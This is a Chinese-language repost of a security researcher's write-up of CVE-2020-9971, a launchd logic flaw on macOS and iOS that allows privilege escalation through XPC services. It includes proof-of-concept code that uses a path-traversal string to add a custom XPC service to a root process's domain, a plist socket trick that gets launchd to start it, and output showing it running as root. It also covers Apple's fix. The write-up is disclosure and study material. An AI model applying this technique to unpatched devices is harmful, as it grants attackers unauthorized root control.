CVE-2020-9971滥用XPC服务机制来提升macOS / iOS中的特权

  • A+
所属分类:安全漏洞


0x0 简介


          在这篇博客中,我将详细介绍我在管理XPC服务时,在launchd进程中发现的一个有趣的逻辑漏洞,它很容易被利用,并且100%稳定地获得macOS/iOS的高权限。这个漏洞很容易被利用,而且100%稳定,可以在macOS/iOS中获得高权限。因为 launchd 是操作系统中最基本和最重要的组件,即使在最严格的应用沙盒中,这个漏洞也会发挥作用。该漏洞应该在macOS Big Sur和iOS 13.5之前就能使用。



0x1 XPC服务


            XPC 服务是主应用程序捆绑包的 Contents/XPCServices 目录下的一个捆绑包。你可能不知道它,但它在操作系统中是非常常用的。


下面是一个XPC服务在FaceTime应用程序中的例子。


CVE-2020-9971滥用XPC服务机制来提升macOS / iOS中的特权


XPC 服务由 launchd 管理,并为单个应用程序提供服务。它们通常用于将一个应用程序划分为更小的部分。这样可以通过限制某个进程崩溃时的影响来提高可靠性,也可以通过限制某个进程被破坏时的影响来提高安全性。


这里的XPC Service应该与众所周知的LaunchDaemon和LaunchAgent区别开来。相对于全系统的LaunchDaemon和全登录用户的LaunchAgent,XPC Service是全进程的服务,只能由指定的应用程序启动和调用。


从macOS开发者的角度来看,在Xcode中添加一个XPC服务到项目中是非常容易的。


CVE-2020-9971滥用XPC服务机制来提升macOS / iOS中的特权


0x2 启动进程域


            如前所述,XPC服务是由launchd管理的。launchd是如何将XPC服务限制在指定的进程中的呢?答案是 launchd 进程域。


            进程域就像一个命名空间,存储了所有的XPC Service信息,这些信息只能由其所有者进程获取和修改。


            当一个进程想要启动一个XPC Service时,launchd应该从它的进程域中找到并启动该服务。


我们可以用 launchctl 命令输出指定 PID 的进程域信息。


如:launchctl print pid/129


           更多关于launchd域名的信息可以从saelo的优秀演讲bits_of_launchd中找到。


0x3 漏洞


            关于进程域,launchctl用法有这样的描述。


"只有拥有该域的进程才可以修改它。即使是root也不能这样做。"


            这个假设是有道理的,因为一个进程域应该只有它的所有者进程才能使用。如果一个进程可以修改其他进程的域,它就可以控制该进程的运行行为。这种能力将是非常危险的。


他们真的如他们所说的那样做了吗?


如果我们可以在一个根进程的域中添加一个自定义的XPC服务,XPC服务可能会以该进程的权限启动。


在launchd中,每个域类型都有其访问检查功能。


让我们来看看在大苏尔之前的macOS中,试图向进程域添加XPC Service时的进程域访问检查。


CVE-2020-9971滥用XPC服务机制来提升macOS / iOS中的特权



访问检查不比较呼叫者pid和进程域的所有者pid。有三种可能的情况可以绕过访问检查。


添加的XPC服务存在于目标进程的子目录中。


调用者用户是root。


sandbox_check_by_audit_token("forbidden-launchd-control", SANDBOX_CHECK_NO_REPORT) == 0。


如果我们能够满足其中任何一个条件,我们就可以在进程域中添加一个XPC服务。


对于条件3,使用api sandbox_check_by_audit_token来检查带有这个audit_token的进程是否在沙盒中,如果不在,就会返回0。也就是说,不在沙盒中的进程可以在其他进程域中添加自定义XPC服务。


对于条件1,如何检查进程的子目录中是否有XPC服务。


bool __fastcall sub_10000B440(char *a1, char *a2){ size_t v2; // rax v2 = strlen(a2); return strncmp(a1, a2, v2) == 0;}


这段代码只是检查字符串的起始部分,所以它可能会受到路径遍历问题的影响。


如果我们可以向这个访问检查函数传递一个包含./的路径,我们就可以绕过检查,即使在最受限制的应用程序沙盒中也可以将自定义的XPC服务添加到进程域中。


0x4 漏洞


    到目前为止,我们已经知道,我们可能会在其他进程域中添加一个自定义的XPC服务。我们将利用它来提升权限。

    

    首先,我们需要找到一个可用的目标进程域。

    

    在macOS中,有很多root权限的进程都有进程域。在这里,我使用了/usr/sbin/systemsoundserverd。

    

    我们可以用命令行来输出域名信息:sudo launchctl print pid/308


com.apple.xpc.launchd.domain.pid.systemsoundserverd.308 = {  type = process  handle = 308  active count = 11  on-demand count = 1  service count = 10  active service count = 0  activity ratio = 0.00  originator = /usr/sbin  creator = systemsoundserv.308  creator euid = 0  uniqueid = 308  external activation count = 0  security context = {    uid unset    asid = 100000  }  ...}


    对于开发者来说,不需要显式的创建进程域,也不需要将XPC服务添加到域中去,libxpc框架会隐式的为我们完成所有初始化阶段的工作。在初始化阶段,libxpc框架会隐式的为我们做所有的工作,但是在libxpc.com中仍然有一个api xpc_add_bundles_for_domain。

    

    然而,在libxpc.dylib中仍然有一个api xpc_add_bundles_for_domain,可以用来添加XPC服务到指定的进程域。当然,你也可以使用低级别的XPC消息,甚至是MACH消息,通过bootstrap端口与launchd进行通信。

    

    在这里,我试图通过路径遍历的问题,将一个放置在exploit应用程序同一目录下的自定义XPC服务添加到一个systemsoundserverd进程域中。


xpc_object_t pid_dict = xpc_dictionary_create(NULL, NULL, 0);xpc_dictionary_set_int64(pid_dict, "pid", 308);   // target process domainNSString* mainBundlePath = [[NSBundle mainBundle] bundlePath];NSString* bundlePath = [NSString stringWithFormat:@"/usr/sbin/../..%@/../testXPC.xpc", mainBundlePath]; xpc_object_t xpc_bundle = xpc_string_create([bundlePath UTF8String]);xpc_object_t paths = xpc_array_create(&xpc_bundle, 1);  // XPC Services pathxpc_add_bundles_for_domain(pid_dict, paths);


完成后,我们可以在目标进程域输出XPC服务信息。


launchctl print pid/308/com.r3df09.test.testXPC


产出是:


com.r3df09.test.testXPC = {  active count = 0  copy count = 0  one shot = 0  path = /Users/r3df09/Desktop/testXPC.xpc  state = waiting  bundle id = com.r3df09.test.testXPC  bundle version = 1
program = /Users/r3df09/Desktop/testXPC.xpc/Contents/MacOS/testXPC inherited environment = { PATH => /usr/bin:/bin:/usr/sbin:/sbin } ...}


    我们可以看到,我们的XPC服务被添加到systemsoundserverd的进程域。

    

    但是,我们的工作还没有完成!

    

    这个XPC服务的状态是等待,暂时没有启动!

    

    XPC服务是 "按需启动 "的。只有当一个应用程序创建了与服务的连接并向其发送消息时,它们才会被启动。

    

    虽然我们可以在一个根进程域中添加一个自定义的XPC服务,但是我们无法控制该根进程使用我们的服务。


    我们需要找到一个可行的方法来启动它!

    

    从man launchd.plist中,我们知道一个服务可以监视一个文件路径或者监听一个socket。

    

    在这里,我通过在XPC服务的plist文件中添加Sockets信息,让XPC服务监听一个socket端口。


<key>LaunchProperties</key><dict>  <key>Sockets</key>  <dict>    <key>Listeners</key>    <dict>      <key>SockServiceName</key>      <string>9999</string>      <key>SockType</key>      <string>stream</string>    </dict>  </dict></dict><key>XPCService</key><dict>  <key>ServiceType</key>  <string>Application</string></dict>


我们可以看我们的自定义XPC服务在9999端口监听。


com.r3df09.test.testXPC = {  ...  sockets = {    "Listeners" = {      type = stream      service name = 9999
sockets = { 40 (no bytes to read) 45 (no bytes to read) }
active = 0 passive = 1 bonjour = 0 ipv4v6 = 0 receive_packet_info = 0 } } ...}


我们也可以通过launchd检查网络端口9999是否处于监听状态。


Active Internet connections (including servers)Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)    tcp4       0      0  *.9999                 *.*                    LISTEN     tcp6       0      0  *.9999                 *.*                    LISTEN     udp4       0      0  *.*                    *.*                               udp4       0      0  *.56124                *.*


任何对这个套接字端口的连接都会使 launchd 进程以 root 权限启动我们的 XPC 服务。


[email protected] ~ % ps -A | grep test  638 ??         0:00.01 /Users/r3df09/Desktop/testXPC.xpc/Contents/MacOS/testXPC  643 ttys000    0:00.00 grep test[email protected] ~ % ps -p 638 -o uid,pid  UID   PID    0   638


0x5 苹果的补丁

    

    要修复这个漏洞并不难,只要保证只有进程域的所有者才能修改就可以了。

    

    为了做到这一点,launchd进程域访问检查函数现在获取调用者进程的audit_token,并始终检查调用者pid是目标进程域的所有者。


0x6 关于iOS


    上面讲的主要是基于macOS的。我知道大多数人都比较关心iOS。

    

    iOS和macOS几乎共享相同的launchd代码。所以,iOS上确实存在这个漏洞,它也存在路径遍历的问题。

    

    在我向苹果公司报告了这个漏洞后,他们立即秘密更改了iOS 13.5中获取XPC服务路径的方法。

    

    在iOS 13.5之前,它使用xpc_bundle_get_path来获取XPC Service的路径。这个api会返回原来的输入路径包含.../ 


    从iOS 13.5开始,他们把这个api改成了属性类型为2的xpc_bundle_get_property,这个api会返回XPC Service的真实路径,而不包含./。这个改变试图禁止使用路径遍历问题来绕过访问检查。如果XPC Service在目标进程的子目录下,仍然允许将XPC Service添加到其他进程域。

    

    从iOS 14.0开始,他们终于开始检查调用者进程是否是进程域的所有者。

    

    虽然在iOS中,开发者是不允许直接使用XPC Service的。苹果自己在很多高权限进程中使用它。

    

    不难找到一些有用的目标。比如,/usr/sbin/wifid或者/usr/sbin/mediaserverd 。

    

    顺便说一下,关于这个漏洞的信息最近在2020年12月15日添加到iOS 14.0安全内容中。


CVE-2020-9971滥用XPC服务机制来提升macOS / iOS中的特权


0x7 结束语


     对于开发者和普通用户来说,XPC服务很容易开发和使用。它对我们来说几乎是透明的。但是,它的内部机制如此复杂,一定有很多有趣的逻辑bug存在。



参考文献:

https://xlab.tencent.com/en/2021/01/11/cve-2020-9971-abusing-xpc-service-to-elevate-privilege/

本文始发于微信公众号(Khan安全团队):CVE-2020-9971滥用XPC服务机制来提升macOS / iOS中的特权

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: